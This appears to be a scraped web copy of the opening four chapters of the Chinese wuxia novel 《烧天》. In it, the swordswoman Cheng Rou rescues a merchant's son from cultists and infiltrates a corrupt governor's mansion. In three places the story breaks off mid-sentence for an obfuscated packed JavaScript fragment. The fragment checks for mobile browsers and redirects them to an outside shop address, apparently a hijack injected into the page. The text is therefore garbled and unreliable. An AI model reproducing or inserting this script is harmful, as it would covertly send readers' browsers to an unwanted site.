《烧天》 1. 太平已逝·其一 柳葭丽一回到客栈,就看见程柔正在匆匆收拾行囊。 “阿柔,莫离山传来的消息,那群邪教徒把陈家少爷绑了。就是皇商,映州首富的陈家。你已知道了,是吗?” “你还是决意要去······我知道,自三年前我遇见你,你就一直涉身于那群邪教徒的事。可是,他们背后并不简单。不然,怎么连陈家少爷都敢绑?” “丽,你宽心。”程柔没有抬头,继续往背囊里放入一点干粮。 “各方制衡,都盼着出头鸟。陈家少爷是金贵人物,趁事情还没闹大,去把他救出来,一切好说。如果连陈家都投靠了他们,后果才是不堪设想。” “好吧。”柳葭丽拍拍程柔的肩,笑里似无奈更似赞叹。她知道自己拦不住程柔,一开始也没有抱着阻拦的希望。 “既然决定了,就一起去吧。我会在外面接应你。” 程柔本在给行囊打最后的结,听见柳葭丽的话,手登时停住。 柳葭丽道:“这等腌臜事,早就该清算了。外面都说那陈公子太过鲁莽,我倒佩服他的胆魄。襄国缺的就是这样的人。我们龙鸣客栈自称以武行道,若此时要做缩头乌龟,不是太惭愧了吗?” 柳葭丽手里不知何时也拎起一个包袱,背上已背了弓箭。 “走吧。” 莫离山中的路,程柔已经太熟悉了。熟悉到仅仅靠闻到脚下草木的味道,便知走到了哪里。 深秋霜重。程柔坚持在前面开路,纵使裹着油布,露水也已浸湿了她的一片衣袖,浸湿了她的睫毛鬓发。柳葭丽跟在她身后两步之内,倒没有浸上多少寒霜。 她为什么对莫离山里的人那么上心。她从没说过,柳葭丽从不问,但也有些猜测。或许,她曾是那里面的人,曾被伤害过。或许,她为她的谁复仇。程柔是重情义的人,因此柳葭丽认为后者也是一个很合理的推测。何况关于自己的来处,程柔也从未说起过。 目的地渐渐地近了,程柔紧握着手中的烧天剑,感觉到它是热的。红色水晶琉璃的剑柄就像烤火,温暖着她。 这是她从师父那里带走唯一的东西,是师父对她为数不多的的器重。跟烧天剑一同承继的还有师门的教诲,尊师重道,锄恶扬善。 出离师门的这些年,她一直尽力,遵守着师父教导的侠者之道——尽管师父的教诲并不是对她,而是对着她其他的师兄弟们。 并不妨碍程柔是记得最深的人,深得发疼。 陈家是大世家,本来世代经商,这一代却只留了一个男子——陈羽生,这次她要救的人。他也离经叛道吗?放着好好的贵公子不当,一定要做这么危险的事? 听闻陈家是儒商,最重读书教诲。陈羽生曾著文章,匿了名字投出搞去,被设席的当朝状元单拎出来赞誉了一番。 家境清贵、少年得志,那个陈羽生想必是个很清贵、很清高的人了。他跟泥土里的人打过交道吗?落在那种人渣的手里,被他们用最肮脏的手段侮辱,他会不会一时冲动?若真如此,事情就麻烦了····· “丽。”程柔递去一把小箭,一支吹柄。 柳葭丽挑着眉,有些惊喜。她的吹箭上次刚被打裂,一直忘记重制。其中有照顾客栈太忙的原因,当然也有平素大咧咧无所谓的缘故。程柔总是神奇地记得这些。 “我听着,里面看守的人十余个,受害的还有四五个女子。你听着是吗?” “嗯,我们候在下面的车马还够带上她们。”柳葭丽应着。 “我先看看陈羽生能否行动自如。若可以,我救下他,直接将里面看守的人剿灭。若不行,就得请你突袭进来,短哨为号。” “好。如果外面有异动,我也吹哨。总之先将陈羽生弄出来。他若是死了,我们龙鸣客栈威严扫地不说,百姓们更要人人自危了。” 鸿禧洞门口便有把守。程柔凑得近些,已经可以听见里面棍棒打在躯干上的声音,还有一个年轻男子奋力的怒号。 仔细听见那男子叫骂的是什么,程柔的脑子里轰得一懵。 “本少爷是人,你们连人都不算!怎么?自己想男人了不敢承认,偏要老子弄给你们看?” 嘭!陈羽生的头被砸在地上,他的呼吸声似乎轻了。一阵棍棒又砸,把他那白绸绣金丝的衣服染得污泥血液一片。 陈羽生无法避闪,在棍棒砸骨的砰砰声之间嚣叫,“想本少爷跟你们干一样的事,你们做梦!” “进了大爷们的地盘还不老实,装什么清高!你那东西既然不用,不如割了!怎么,你怕不怕?”为首的那人故意贴着陈羽生的脸晃他的刀,磕着地咔咔作响。 “上面只说了不许杀你,但是,怎么教训我们说了算!想想你们家就你一个男丁,若是把你老二割了,你们家绝了后,你老爹高不高兴?”听这说话的口气,竟是汉人? “哼。”陈羽生发出响亮一声嗤笑,“你爷爷的心情用不着你们操心。经商我妹妹可比我会。” “哈哈哈哈哈哈哈!”洞穴里霎时间爆笑如雷。程柔借着这铺天盖地尖笑的掩护,潜到了他们头顶。 “圣兄!他可真是急了,这样的话都能扯!堂堂世家,竟能叫一个女人继承家业不成! 等陈老爷子翘了辫子,他们家业便送给别人,改姓张氏李氏王氏了!哈哈哈哈哈哈,不如阉了你之后,叫你妹妹嫁给我!我们这帮圣兄弟也能当富豪啦!” “还跟他废话什么!直接动手!” “哼,怎么,这么想要本少爷的东西,是因为你们都没有,所以要取了收藏吗?”陈羽生的话被一记结实的耳光打断了。 陈羽生已被打得没力,浑身上下只剩嘴硬,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669334|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不忘嘲讽对方拖延时间。这招颇有些用处,程柔已埋伏到位,只差一击了。 “放你娘的屁!老子现在就让你见识见识······”持刀比划的人忽放下了刀,松了腰带,要朝陈羽生撒上一泡。在他的裤子刚松下的时候,忽然闷哼一声,向前倒地。 “有人埋······”旁边一人话尚未出口,便被烧天一下抹了脖子,倒在地上涓涓的流血。陈羽生被反绑着手,压在前一具尸首下难以动弹。那血浸了他的裤脚,顺着往上。 密密的刀光向着程柔挥过去。她轻巧巧的在崖壁上点几下,无声无息地落到人群身后。 一刺一闪,变化多端,烧天的墨色剑锋在昏暗洞穴中难以看清轨迹,甚至不见剑光,神秘无影,扑上来的人便一齐丢了性命,看不清顺序。 程柔杀了剑程之内的,间或几个逃往洞口的,她只大方的放走——柳葭丽守在那里。那些山贼一个接一个倒在洞口,尸首堆叠。 “来了军队!一定是军队!” “放信号弹!” 洞口闪出一阵青色剑光,既迅且猛,是柳葭丽拔剑了。程柔护在陈羽生和几个人质之前,步履轻移,剑花翻飞。几个来回间,面前山贼横七竖八倒了一地。 一个趴着的尸首突然飞扑往离程柔最远的人质,程柔剑程不及,心中一惊,却见脚边飞去一粒石子,砸在那人的太阳穴里,将他彻底击毙。 是陈羽生。程柔扭头看过去,他被几个人质从尸首下搬了出来,正抚着他右手腕。方才扭了,为了救人又尽力挥出一击,想是很痛。 洞口传出一声缓长哨鸣,这代表柳葭丽在催促。陈羽生坐直起来,喘息道:“我自己能走。”他的眼神撇开去,表示对搀扶的拒绝。 两个人质顺着程柔的指引走出去,另两人受了折磨,难以行走。程柔将身上外袍披在她们身上,将她们一个个抱了出去。 那两个女子都是将头伏在程柔肩里,愣愣地没有声息。程柔拢了她们的发,将她们送到柳葭丽的车马里。 程柔回进洞口,看见陈羽生正扶着自己的剑拖着身体走出来。忽而“嘭”的一声巨响,洞口砸下许多巨石。程柔抓住陈羽生的手臂向后跳避。 大地震颤不止,洞口的石头遮住了阳光,漆黑一片。程柔推了推那些石头,竟纹丝不动。 此时听见洞口来了许多人,一人高喝:“白日青天,地处莫离,鸟鸣户安,本应太平。何人竟在此闹事?” 柳葭丽冷笑一声,清叱响在耳畔。 “不知哪位大人有兴致巡视山中,竟不知这映州城中一直有人闹事? 莫离山中,生死别离,白日青天下,旧冤沉积。敢问大人今日问的究竟是莫离山里这群邪教徒,还是包庇这些邪教徒的人?” “草民无知,竟在此口出狂言!通通带走!” 2. 太平已逝·其二 正面冲突已然难免。程柔听见洞外青野剑的剑风,还有其他伙伴亮了武器。 “先带她们离开!”柳葭丽在马背上抽了一鞭,两匹马便拉着车嘶鸣而去。她为其他人断了后,留在洞口与官兵交锋。 听着外面动静,包围柳葭丽的有数十人,其中不乏武功高超之士。真是大动干戈!程柔感到自己的心被一根丝线吊在空中,紧得发痛。 洞口的打杀声熄灭,柳葭丽被绑走了。洞穴里程柔扶着手边洞壁,撑立着。 “你们是从陈家那边得到的消息吗?”陈羽生席地而坐,问道。 “嗯。你家里用很多暗线散播消息,悬赏救援。” “你们有几个人?” “不多。龙鸣客栈听过吗?” 听见程柔说“龙鸣客栈”,陈羽生似是松了口气:“听过。这次的事,一定是非闹大不可了。你们逃出去的人只要能把消息带给我父亲,就会有人来救我们的,还有柳葭丽。” 程柔应了一声,而后吹起火折子。火折子烧得很旺,说明这洞穴还有其他的透气口,没有被堵死。接着她点起一个火堆,洞穴里便亮起来。 火光里陈羽生看见对面程柔的脸,她的一双杏眼正定定打量着自己。见他回视,她就一闪眼睫移开了视线。 陈羽生忽想到方才自己先前被人威胁有些绝望,为拖延也为发泄的骂了许多粗话,十分狼狈,被这个女子听见,心里一下子不好意思起来。 面皮上却不愿显,于是沉默,装作一副什么都没发生过的样子,只是坐姿有些僵硬。可程柔此时竟轻轻微笑了。看见她笑容,陈羽生更觉得面上有些发紧,心里庆幸自己不易脸红。不过对方没有恶意,倒让他觉得有些安心。 “先服药吧。”程柔从怀里掏出一个药瓶,陈羽生伸出手,她便往他手上倒上几粒。陈羽生一仰头咽下去,而后又不知该说些什么。 “敷在扭伤瘀血的地方,破皮流血的地方别用。”程柔又递去一个小瓷瓶和纱布,而后她站起来背过身,向黑暗的地方走去。意思是将空间留给他,她不会看他,叫他自己处理。 时间过去了不知几日。程陈二人把洞中能探的地方都探过了,皆是牢不可破,只能等候救援。 洞中没有食物,唯有每日清晨的露水可以饮用。二人都谦让,一来二去地聊天,渐渐熟悉起来。 陈羽生更爱说话,程柔话不多,听他谈起私塾里与大儒辩经,从家里偷翻出去游历的见闻,倒也有趣。 程柔听得认真,回应得诚恳,他便解答了程柔对他的疑惑。 父亲盼他成为仕才或是继承家业,他长成的方向有些偏离,父母亲拿他没有办法,心里骄傲他的才气和武艺,却也忧虑。“哪家的孩子有吾儿这般文武双全,少年英才呢?只是行事太鲁莽、太爱出头了······” 陈羽生不知藏拙,很少谦逊,但也绝不夸耀。他客观的复述许多事情已然十足地能够引人羡慕,可他自己却只有轻微的察觉。程柔倒不介怀,只是静静听着,并且鼓励他说自己想说的话。 这样相安无事的场面又持续了两日。忽然一天,程柔变得很焦急。 她一反之前的冷静,在洞穴里踱来踱去,又问了三遍陈羽生他家的救援何时能赶来。若不是见他要不耐烦了,她好像还想接着问下去。 得到了束手无策的结论后,程柔只得挨着小小的篝火,沉默地坐着。洞里的木材已经被烧去大半,二人不得不节省。 陈羽生是在睡梦中被冻醒的,翻身看向篝火时,发现程柔弓身蜷曲着,呼吸变得很重。 “程柔?” “嗯?怎么了?” 程柔的声音听上去还很平静。陈羽生没有多想,将自己的外袍裹得更紧,翻身睡去了。 疼痛。剧烈的疼痛把程柔钉在了地面。除了控制呼吸去忍耐,她没有别的办法。 未曾想到这一次会在外面拖延得这么久。她的信期已至,这还只是第一日,后几日该如何遮掩······ 程柔的身体不好,是幼年就落下的病症。她畏寒,会因为浸了寒气而生病,更严重的是痛经。 这对于一个像她这样名头的武者来说,有些匪夷所思,却是真实存在的。 身体的病弱对于一个武者来说自然是羞耻和危险,更何况是这种女人的病症,如此频繁。客栈的伙伴们对她的病症非常包容,让她心里好过很多。可现在,偏偏是跟一个陌生男子独处的时候,又来了······ 疼痛和寒冷之中程柔睡不去,半梦半醒想起了暴风雪。 风雪里,她还和师兄弟们一起练剑。她突然觉得腹部有些痛,但是剑招练到一半,不想结束。更何况,是每日清晨的集训——练武者要坚毅,要克己,中途退出像什么样子呢? 她没有理会身体的异样,将精神凝结在剑招上。 忽然,身后的师弟发出一声惊呼。他对她还是很尊敬的,叫着“程柔师姐,你怎么了?” 师弟的声音打断了训练,旁边几个师兄看过来,登时也愣了。 他们后退了几步,围在一起窃窃私语,神情是十分的尴尬,尴尬里又夹杂着别的,嫌恶、戏谑,程柔分不清。 秩序的混乱自然引来了师父。师父走到时,面色很不好看。他对程柔说:“程柔,去休息一下,去找你师娘。” 身边的所有人,在她身边退了三步,将她围在一个圈里。她对发生在自己身上的事当然有了正确的推测。 她感觉喘不过气来,紧握着手中竹剑愣了愣,而后咬着牙定了定身子,抬起头迈着步子离开了。 她听见身后的师兄弟们在窃窃私语不敢大声,被师父呵止住。可他们的眼神不会熄灭,还在飘忽,一直飘忽着,包围着她,无意的要把她锁死。 走进院子的时候,遇见了师娘。师娘注意到她染血的身后时,惊吓地好像被什么踩到了脚: “这·····阿柔,你怎么这么不注意呢!多丢脸啊·····兵刃见了污血,多不吉利!” 师娘的惊叫像把程柔的头按进了沸水里,昏天黑地地轰鸣。她动了动嘴唇,沙哑道:“抱歉了。”而后走进了自己的房间。 她被师娘三令五申经期的时候不能到演武场上去,当然这其实是所有人的意思。 于是在每月固定的时间里,她便不再现身,只在自己的房间里练着剑式。 其实也练不了多久,她太痛了,随着年岁的增长越来越痛。发作的时候,疼痛从她的腹部,从她女人的器官里钉下去。是一把刀把她钉在地上,在她的身体里爆裂扭转和叫嚣,穿透脊椎,最后被她禁锢在咬紧的嘴唇里。 那近乎是一种惩罚。每当她想要忘记自己是个女人,幻想证明自己和师兄弟们没什么不同的时候,身体总要用无比真实痛苦的来提醒她。当指节抓握得发白,整个人泡在汗水里的时候,她清楚地感受到这一切。 每当她不在演武场上的时候,她平日站的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669335|188623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是尴尬地空缺着,似乎是大声的告诉,这个女子,因为污血,不能够见人。 她回去的时候,身旁的师兄弟总是沉默。没有人跟她打招呼,大家一时间都装作看不见她。 她也装作自己不知道这回事,只是执着地回去,执着地站在她的位置,做她该做的事。 洞穴里的火越来越小了,更何况她的外袍早已给了人。寒冷让程柔的痛症更加严重。她割了内袍垫住去掩饰那些血,但感觉到身上的血腥味越来越浓。 程柔尽量让自己表现得正常,但她的蜷曲和沉默,还是让陈羽生向她撇去的视线越来越频繁。于是她心中越发烦闷、甚至愤懑了。 一个陌生男子,无缘无故的,干嘛要这种时候在她身边,还要好奇她的事?他也在心里笑话她吗?还是很得意,得意他是个男人,一个强健的刚猛的威武的男人,不用为这种病痛所苦? 一定是了,他和那些山贼对骂的东西,不全是当一个男人多么的骄傲? 一瞬间的猜疑很不善良,可毕竟什么都还没有发生。程柔刻意地背过身去,不想与对方有任何交流。 陈羽生观察了许久,最终认为程柔或许是此前伤到了内脏。同情心让他没法再保持沉默,他走上前去,问道:“你怎么了?” 愤怒在脑中心中嚣叫,伴随着无法忽略的疼痛一起。只是理智提醒程柔对方只是好意,于是她回了一句:“无事,不劳陈公子挂心。” 这句话礼貌又有距离感。本来陈羽生就应该坐回去了,好死不死他瞥到了程柔那割得齐整的衣袍,惊异道:“你的衣服怎么割了?” 程柔咬着牙,有些愠怒地抬眼。这时候,她看见陈羽生那双平素傲气的剑眉弯下来,眼睛里竟是含水的,正定定望着她,明显关切的样子,心里的无名火便无可奈何地熄灭了。她只好无可奈何地撇开视线,苦笑一声,道:“我若说没事割着玩你信吗?” “这有什么好玩的?”陈羽生感觉程柔有点莫名其妙,“你这么不愿说······”陈羽生忽然恍然大悟的样子:“嗯······是······可是你看上去很严重?” “是······?”程柔抬眼看他,咬牙道。 “你就说你有没有受伤吧,是不是伤到了脏腑。” “没。”程柔的声音闷闷的,心里一下又觉得很烦。他与她又不相熟,凭什么让他知道她的身体呢?可是向他发脾气更没有道理,只能偏过头去不想理他。 陈羽生定定站在程柔旁边。饶是他神经再大条,也判断的出,程柔现在感觉很尴尬,很不舒服,什么都不想说。于是他又问道:“你是不是冷?” “有点。” 陈羽生解了自己的外袍,递给了程柔,道:“谢谢你救我。这袍子,虽然脏了,但将就着用保暖尚可。” 程柔一时不应。陈羽生接着道:“我妹妹有时也这样,但她没你严重。后来我找医生为她治好了。” 程柔感觉面上有些臊起来,不想再听下去,伸手一把抓过了陈羽生的罩袍,披在了自己身上——倒没有蒙在头上,她程柔才不会做缩头乌龟的事! 陈羽生的罩袍盖在身上,覆裹住身体,轻柔而温暖。凭着这阵温暖,程柔的痛症缓解许多。 第二日清晨,便听见洞外传来寻找陈羽生的声音,由远及近: “少爷!少爷!您在里面吗?” “思温!是我!我在这堆石头后面!”陈羽生兴奋起来,向外呼唤。 3. 太平已逝·其三 “少爷!您等等!您还好吗?我们现在就救您出来!老爷也来了!” “啊,爹!”陈羽生的表情明显飘忽了一下,显露出心虚的样子。这之后,他的语气便拖得沉稳平静了,“我没事,你们不用急·····” 瞥到程柔皱眉望向他,眼神里焦急不安,陈羽生又改口喊道:“不过还是要快些!” 程柔沉默不语,动手解下身上罩袍。陈羽生道:“不用,你披着吧。” 闻言,程柔的手微微一顿,但还是解下,递还给了他:“谢谢你。” 洞口破出了几道光线,乍一下十分刺眼。陈羽生的眼睛被刺得很痛,不由得用手掩紧。程柔却径直迈上前去,与洞口营救的人一起清理那些石块。还未等他睁开眼,程柔的声音便响起: “陈老爷,您可知葭丽的下落?” 陈鸿敬撇了程柔一眼,道:“柳掌门关在衙门里,已判处了鞭刑,罪名是私通匪寇,通风报信。明日午时菜市口公开处刑。” “陈老爷,您的意思是,官府一边洗脱自己放任波斯邪教的罪名,声称掳掠良女及陈少爷之事皆为山匪所为,与波斯教无关;一边向波斯教投诚,要拿阿丽开刀?” 陈鸿顾左右而言他:“我们应朝廷之命护送跑货,不免得罪一些强盗土匪之流。想不到他们归顺波斯教,如今借机报复。” “真是贼喊捉贼。”陈羽生愤懑道,“刺史这把大伞,罩了波斯教徒,就没空罩着这些土匪了?不过是出了事就搞拍卖,谁给的钱多帮谁。事到如今,治中又怎么说?” “治中什么都不想说。”陈鸿敬摇摇头,严厉道,“如今局势不好,连治中都不想管了,更何况你!” “父亲,我们现在早已骑虎难下了!”陈羽生一反方才对陈鸿敬的尊敬态度,坚决道:“自刺史来映州站稳脚跟后,何曾对我们客气过?我们要么反他,要么听命于他一起干这包庇邪教徒的罪! 这一次朝廷派治中巡视,已经是我们揭发他的最好机会。他们此次连张府的小姐都掳走,已经是对我们这些人的警告。下一个要轮到谁?如果他们对婷若做些什么呢?那我们还要忍耐吗?” “婷若很明事理,从不出门乱跑。你在这里还要再说什么?刺史什么时候要跟我们打交道,他要有什么计划,也不找我!”陈鸿敬压低声音,向陈羽生使着眼色。 程柔知道自己不该待下去了。陈鸿敬要阻拦陈羽生在她这个外人面前说出更多,以免给他们惹上麻烦。于是她向陈家父子行了一礼,便离开了山洞。 如今最要紧的,怎么救柳葭丽呢?要揭发刺史往来邪教徒的证据,证明柳葭丽的清白,龙鸣客栈不致蒙羞。只要洗清了名声,在刑场把柳葭丽劫下就可以了。但釜底抽薪之计,还是要把刺史端掉,这只能需要借助更强的势力。 能否以此情报利诱治中的支持?放任波斯教徒也是襄王室默许的,只有地方官要是和波斯教徒关系太好,或是瞒着他们收了太多好处时,上面的人才会出手。现在的情形,已经可以算是了······ 程柔回到客栈,迎接她的是红着眼眶的刘平凝。她虽面容憔悴,见到程柔仍难掩惊喜神色,抚上程柔的手臂道:“阿柔,还好你平安无事······” “你们其他人呢?都怎么样?”程柔道。 “我们都好。人质已经救下,各自送回。但是掌门她······” “我知道。我打算潜入刺史府中,想必能偷到他往来那伙贼寇的证据,后日在刑场当众揭发。届时,你们武攻救下阿丽。” “刺史府现在戒备森严······你打算怎么做?” “今日夜里,涂县将进献刺史一批侍女,我就伪装成其中一人机会混进府中。” “这是不是太过冒险······” “阿丽已在牢中,每分每秒,都陷入‘危险’!这已经是最有胜算的办法,我一定要如此做。” 梁行光在映州已然一副土皇帝的架势,越礼享用宫中的乐队仪制,用度极尽奢侈,对美丽女人的需要,只是他饕餮般欲望的一个部分。 上梁不正下梁歪。下属想向这个映州土皇帝讨些好处,自然费尽心思的投其所好。此次,涂县的县令为了向梁行光讨桥梁修缮的钱财,进献了府中五位才艺双美的侍女。 刘平凝监视着涂县县令所住的客栈。天色暗下,县令在侍从的护送下从客栈走出,后面跟着六位身着轻薄衫裙,以纱覆面的少女。其中第三人的衣袖流彩,格外的长。她的身量似乎高些,因此为了保持队伍的齐整,头埋得有些低。 正是程柔的乔装——程柔擅使一种名为袖中花的武器,平时收束在手腕上,杀敌时一下击出,如花朵开绽一般炫目美丽。凭借着这个技艺,程柔打算着为梁行光献上水袖舞,再见机行事装病离场。 交换眼神后,刘平凝带着身着常服的昏迷侍女离开。程柔则上了马车,被送进了梁行光的府邸。 夜夜笙歌,灯火高耀。宴饮纵乐,酒肉贪欢。琵琶喧扬,鹂音婉转。梁行光坐在主座,在涂县使者的推荐下,为他斟酒的侍女被换成今日进献中领头的那一位。 面纱覆住她凝脂般的肌肤,一双杏目更显闪亮多情。梁行光一边听着涂县使者所述,一边似漫不经心地在侍女递去酒杯时抚住她的手,侍女只回以含笑美目。 陈氏父子正坐在席间。梁行光说些什么,陈敬鸿都应下,礼貌地陪酒,脸上笑容有些僵硬。陈鸿敬敬酒的时候,陈羽生便陪着喝酒。他面颊上还带着一点擦伤,右臂没有抬过。除了饮酒,他一直紧抿着嘴唇一言不发。 斟酒的侍女缓缓退下,接来琵琶,便抱着向刺史屈膝一礼。她款款摆手,另外三个女郎便各自上场,在另外三角坐定。 琵琶铮鸣一声,奏筝吹丝的女郎便踏着节拍跟上,右上角靠近刺史的女郎引吭清唱。她的一双狐眼微微上挑,尽显妩媚。眼波在刺史面上稍一流转,便似羞怯般低下头去。 梁行光被吸引了兴趣,眯起一双本就看不清眼珠的小眼,嘴角勾笑盯着她。那女郎却再不直视,只在清歌之间间或向他微笑一下。 女郎的歌声层层婉转,犹如沁甜魅惑的香料气味,使人沉醉其中,难以自拔。 在一阵婉转的清歌奏和之中,程柔登上台前。她的目光尽量避着梁行光,偏向一侧,正巧对见了陈羽生。她清亮的目光定格在他眉宇间,让他一下愣住了。 这双眼睛是柔和的琥珀色,沉着、淡然,完全抽离于这场旖旎味道的表演。看不见她的华丽装扮、看不见她的翩跹姿态,陈羽生所见的,唯有这双莫名熟悉的眼睛。 越看越觉得这女郎的舞袖柔中带刚,轨迹精准,与其说是跳舞,不如说是挥舞兵器。想起前几日与程柔相处所见,心中惊讶。 程柔无暇看见这些,只在脑中尽力回忆曾囫囵看过两遍的袖舞排练。她虽尽力还原,但由于没有舞蹈的功底,再怎么努力,一双飞袖舞得也只是秀雅有余,妩媚不足。 曲声渐快渐高,程柔记得再过几个节拍,应当有一个由她来亲近刺史的动作。但几个侍女的奏曲与歌声已经变得迟疑,她们盯着程柔,已经看出了她是个冒牌货。 清唱的女郎吹出哨声,是信号,说明情况有异。其余女郎接连出声,各学一种鸟叫,夹在曲间,不致突兀又起到报信的目的,只有程柔没有接上。席间其他人尚未察觉,涂县使者的面色变得很难看。程柔看见他袖间的手已有动作。 他借故出恭,绕行到程柔身后,拢在袖中的右手微不可查地一弹。三根细如牛毛的“透骨针”射向程柔右膝弯。 他使暗器的时机可谓绝佳。三根针呈“品”字排列,目标是程柔屈膝的腿,她舞步不稳,又当场不能施展轻功,绝无可能不露洋相地躲开。 击中以后,她不仅会当场扑倒,还极可能落得残废的境地。总之,借口她不慎扭伤,带她下去不会引起县令的疑心。这之后总有法子悄悄处理掉。 程柔虽未回头,听见身后暗器发射的声音便得知凶险。她莲步轻点,水袖飞转之间,透骨针便截停空中,在距裙边一步的地方散落,被舞步间挥洒的羽毛盖住,不见踪迹。 使者并不甘心,急急地归来,又在程柔身后逗留。主席位的梁行光却不耐烦使者的拖拉,皱眉表示不满。 “梁大人······”使者弯腰行礼。方才来回间,已知此女非同小可。他不敢再拖,宁可直接向梁行光发出提示。 程柔心知必须堵住他的嘴。一个下腰间她挥出一把羽毛,而后左袖似无意般向使者方向一甩,射出一支聚了内力的羽箭。那箭羽堪堪擦过使者的脖颈。 射羽的位置控制得刚好,使者甚至没有出血,只是颈间一阵锐痛,丝丝麻麻传进心底背上冷汗已沾湿衣襟。 使者不敢再有任何异动,将已到嘴边的话生生咽了回去,退回侧席。在暗光的掩护下,梁行光没有察觉任何异样。 陈羽生握着酒杯的手指不由地一紧,席间只有他看得分明。此女对暗器的洞察、机警迅速的反应力,以及控制的内力造诣,都已达到骇人听闻的程度。 他紧紧盯住程柔舞动的身影,心中已然确定。 歌奏的侍女们维持着舞曲,拖拖拉拉地将表演推向既定的高潮。 要想让使者保持沉默,必须尽快吸引梁行光的注意,使使者惧于被梁行光发现纰漏,有口难言。 程柔莲步轻点,缓缓来到主席座位之前。羽毛化作的袅袅白烟,围绕她周身绽放开来,烛火映照下,轻巧舞步间,飞起的裙摆如云间流霞一般闪着炫彩。 她踩着节拍扭动一下腰肢,袖间水袖一瞬飞舞成花,面纱欲飞未飞。向着刺史蓦然一望,她出尘的容光和淡然的眼神,与这柔软美妙的演绎形成十足的对比。 梁行光倒吸一口冷气,一瞬间宴席谈判全都抛之脑后了。 程柔被引入一间氤氲着暖香的内室,两名仆妇示意她在此沐浴更衣,等待侍寝。 程柔乖顺地点头应下。而后以手拢衣,表示自己羞于在人前沐浴,请两位仆妇在外等候。 两名仆妇脸上显出嘲讽笑容,但很快地压下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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翻身出窗时,见那狐眼女郎往院外逃跑。程柔提步上前抓住她后衣领,一样将她劈晕。 “本想保你们平安,何苦自找麻烦。被绑了就和潜入府中的刺客无关,不才安全?”程柔道。 远处传来密集的脚步声与呼喝,火把的光亮正迅速朝小院涌来。事已至此,只能求快了。程柔翻上屋檐,跃进梁行光的寝殿。 殿内空旷,显然刺史已被惊动,前往安全处所。留给她的时间,或许只有府卫搜索到此的片刻。 “七星阵?老狐狸连自己卧室里都防得这么死。” 这个暗室门阵解起来费些时间,到还剩一层时,门口已经响起细微的脚步声。程柔心一横,屏住呼吸,飞脚踢开了那扇木门。 一阵令人牙酸的机括声连环响起,七处机关被同时触发,毒针、弩箭、迷烟从各个角度暴射而出。 同一个瞬间,程柔用洗潋翻起横波,一面抵挡攻击,一面迷惑机关,使其误以为目标有多处。于是,针弩排列如墙,疏孔不过三寸,向着程柔迎面射来。 洗潋在空中密织如罩,翻飞迎住一回。这之后,机关因补针而陷入短暂的停滞。程柔向着机关所在飞身而上,几乎是滚入了暗门中! 七星阵还在向外发射暗器。内里,程柔扑向书案,飞快翻检。在桌案最底部的抽屉里,找到几封有关莫离山的书信,上面注了日期,盖了刺史印。 在预备离开时,脚下被拌了一下。低头看去,发现桌下正躺着一个雕木小盒。盒子的四角掉漆,有点破旧,与梁行光富丽堂皇的用度格格不入。上面还落了锁,显然是为了保护什么许久不用的珍贵东西。 程柔想到多拿一个不多。于是,她将小盒与书信一把塞入怀中,转身欲走,却听得殿门已被轰然撞响。 “窗户里在冒浓烟!是七星阵被破,刺客定然就在里面!” “那烟有毒,你们还不离远些!”殿外传来陈羽生的声音,“刺客若在里面,必已被七星阵所杀,你们何必如此紧张。” “不·······不是毒烟,是殿内着火!” “走水了!一定是刺客放的火!” “那么,那刺客一定不在里面了。我替你们看着这里。你们分一批人去别处搜查刺客,另一批人快去打水救火!”陈羽生道。 就是程柔这个刺客放的火。火源设在西角窗口,为的就是让火光迅速散出去,制造自己已然离去,放火只为毁灭现场的假象。 如果文牍被烧,梁行光一怒之下或许真会取了这些侍卫的脑袋。侍卫们本来被吓得六神无主,都恨不得自己此刻不在。听见陈羽生如此说,自然乐得受他的帮助,于是迅速散去。 “出来吧。程柔。”陈羽生道。 程柔从窗户里钻出来,落在殿外暗角里。她还穿着那身舞姬的衣服,已然处处勾丝破损,艳妆的脸上也沾了灰,只那双眼睛还是清亮亮的。 陈羽生定定看着她,叹道:“你胆子够大。为何我以前竟未听说你这般人物?” 他身旁竟倒着一名梁府侍卫,后颈上蓦然一道击痕。 程柔挑眉道:“陈公子不也一样?不仅胆子大,还更叛逆。” “我······”陈羽生刚想开口,却看府东的瞭望台上已点了火,噌噌传递。于是调转话题道:“别上屋顶,西院中枯井通往府邸之外,从那里走。” “多谢你。”程柔道。而后她顺着他的指引往西走去。 4. 太平已逝·其四 程柔钻出刺史府邸之时,身后正沸反盈天。摸了摸胸口,那些证据文书还在里面。她正庆幸着,从心底忽升起陈羽生那忽明忽暗的眼睛。 “但愿他也平安无事。” 刘平凝在外接应。二人匆匆赶往监狱,柳葭丽正关押在此。 深夜是适合行贿的时候。刘平凝从银袋中掏出一锭银,守卫皮笑肉不笑。程柔点点头,刘平凝又掏出两锭,守卫盯着她,眼神示意不能亏待周边还有同值的有许多兄弟。 “早听闻龙鸣客栈生意兴隆······这位掌门本就是重犯,梁大人叮嘱必须严加看管······为了你们的掌门,你们总不至于只有这点诚意吧?” 寻常贿赂探监一锭银早已绰绰有余。此人是对龙鸣客栈落井下石又敲竹杠。 